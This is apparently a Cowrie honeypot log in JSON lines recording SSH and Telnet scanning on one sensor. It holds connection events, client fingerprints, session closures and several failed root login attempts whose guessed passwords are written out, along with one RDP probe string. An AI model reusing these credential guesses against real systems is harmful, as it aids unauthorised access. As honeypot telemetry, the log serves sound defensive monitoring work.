{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58746,"dst_ip":"10.17.0.5","dst_port":22,"session":"e41814657d81","protocol":"ssh","message":"New connection: 89.108.118.91:58746 (10.17.0.5:22) [session: e41814657d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:15.833849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:15.990841Z","src_ip":"89.108.118.91","session":"e41814657d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:15.995516Z","src_ip":"89.108.118.91","session":"e41814657d81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2005","message":"login attempt [root/2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:16.580211Z","src_ip":"89.108.118.91","session":"e41814657d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:17.725238Z","src_ip":"89.108.118.91","session":"e41814657d81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50294,"dst_ip":"10.17.0.5","dst_port":23,"session":"2423530d4d23","protocol":"telnet","message":"New connection: 192.119.13.58:50294 (10.17.0.5:23) [session: 2423530d4d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:20.293390Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":54288,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc90c657e59","protocol":"ssh","message":"New connection: 103.77.175.15:54288 (159.203.135.109:22) [session: 6fc90c657e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:22.987675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:22.991924Z","src_ip":"103.77.175.15","session":"6fc90c657e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:23.250014Z","src_ip":"103.77.175.15","session":"6fc90c657e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop12","message":"login attempt [root/qwertyuiop12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:24.026940Z","src_ip":"103.77.175.15","session":"6fc90c657e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36066,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd9d4b1f65f","protocol":"telnet","message":"New connection: 192.119.13.58:36066 (10.17.0.5:23) [session: 6cd9d4b1f65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:24.178416Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:25.286783Z","src_ip":"103.77.175.15","session":"6fc90c657e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":58580,"dst_ip":"10.17.0.5","dst_port":22,"session":"7368ff174b64","protocol":"ssh","message":"New connection: 102.88.137.145:58580 (10.17.0.5:22) [session: 7368ff174b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:30.543072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:30.550518Z","src_ip":"102.88.137.145","session":"7368ff174b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:30.737906Z","src_ip":"102.88.137.145","session":"7368ff174b64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hr@123","message":"login attempt [root/hr@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:31.514687Z","src_ip":"102.88.137.145","session":"7368ff174b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:32.703931Z","src_ip":"102.88.137.145","session":"7368ff174b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65039,"dst_ip":"159.203.135.109","dst_port":22,"session":"caec9a8e4a6a","protocol":"ssh","message":"New connection: 152.42.212.128:65039 (159.203.135.109:22) [session: caec9a8e4a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:36.244861Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:36.250709Z","src_ip":"152.42.212.128","session":"caec9a8e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:36.258476Z","src_ip":"152.42.212.128","session":"caec9a8e4a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49992,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d8fe473a1c","protocol":"ssh","message":"New connection: 46.19.67.181:49992 (10.17.0.5:22) [session: 54d8fe473a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:36.971843Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":8162,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd6b6d37bc18","protocol":"ssh","message":"New connection: 89.110.87.138:8162 (10.17.0.5:22) [session: cd6b6d37bc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:37.919831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:37.924729Z","src_ip":"89.110.87.138","session":"cd6b6d37bc18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:38.035108Z","src_ip":"89.110.87.138","session":"cd6b6d37bc18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:38.506915Z","src_ip":"89.110.87.138","session":"cd6b6d37bc18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:39.620399Z","src_ip":"89.110.87.138","session":"cd6b6d37bc18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":57776,"dst_ip":"10.17.0.5","dst_port":22,"session":"01dcdeede351","protocol":"ssh","message":"New connection: 43.156.39.221:57776 (10.17.0.5:22) [session: 01dcdeede351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:55.345078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:55.350257Z","src_ip":"43.156.39.221","session":"01dcdeede351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:55.589354Z","src_ip":"43.156.39.221","session":"01dcdeede351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@wsx","message":"login attempt [root/!qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:56.576933Z","src_ip":"43.156.39.221","session":"01dcdeede351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:57.821563Z","src_ip":"43.156.39.221","session":"01dcdeede351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51434,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f6305674b2","protocol":"telnet","message":"New connection: 192.119.13.58:51434 (10.17.0.5:23) [session: c0f6305674b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:16:59.449835Z"}
{"eventid":"cowrie.session.closed","duration":41.3852219581604,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:01.678487Z","src_ip":"192.119.13.58","session":"2423530d4d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.28971481323242,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:01.696945Z","src_ip":"192.119.13.58","session":"3d92c527068f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.39804720878601,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:04.576362Z","src_ip":"192.119.13.58","session":"6cd9d4b1f65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"140.141.242.228","src_port":40064,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d50688e0d71","protocol":"telnet","message":"New connection: 140.141.242.228:40064 (10.17.0.5:23) [session: 1d50688e0d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:07.311644Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59164,"dst_ip":"10.17.0.5","dst_port":23,"session":"5352a7bdcdc1","protocol":"telnet","message":"New connection: 192.119.13.58:59164 (10.17.0.5:23) [session: 5352a7bdcdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:10.196224Z"}
{"eventid":"cowrie.session.closed","duration":37.18337607383728,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:36.633066Z","src_ip":"192.119.13.58","session":"c0f6305674b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922905206680298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:38.234427Z","src_ip":"140.141.242.228","session":"1d50688e0d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":46046,"dst_ip":"10.17.0.5","dst_port":22,"session":"39c3ce4b64ef","protocol":"ssh","message":"New connection: 62.133.63.178:46046 (10.17.0.5:22) [session: 39c3ce4b64ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.499274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.504503Z","src_ip":"62.133.63.178","session":"39c3ce4b64ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.637468Z","src_ip":"62.133.63.178","session":"39c3ce4b64ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":48992,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a8fdd6c11eb","protocol":"ssh","message":"New connection: 89.110.87.138:48992 (10.17.0.5:22) [session: 4a8fdd6c11eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.675476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.680599Z","src_ip":"89.110.87.138","session":"4a8fdd6c11eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:44.800016Z","src_ip":"89.110.87.138","session":"4a8fdd6c11eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz","message":"login attempt [root/mnbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:45.011358Z","src_ip":"62.133.63.178","session":"39c3ce4b64ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ3edc","message":"login attempt [root/!QAZ3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:45.306558Z","src_ip":"89.110.87.138","session":"4a8fdd6c11eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:46.138023Z","src_ip":"62.133.63.178","session":"39c3ce4b64ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:17:46.429460Z","src_ip":"89.110.87.138","session":"4a8fdd6c11eb","protocol":"ssh"}
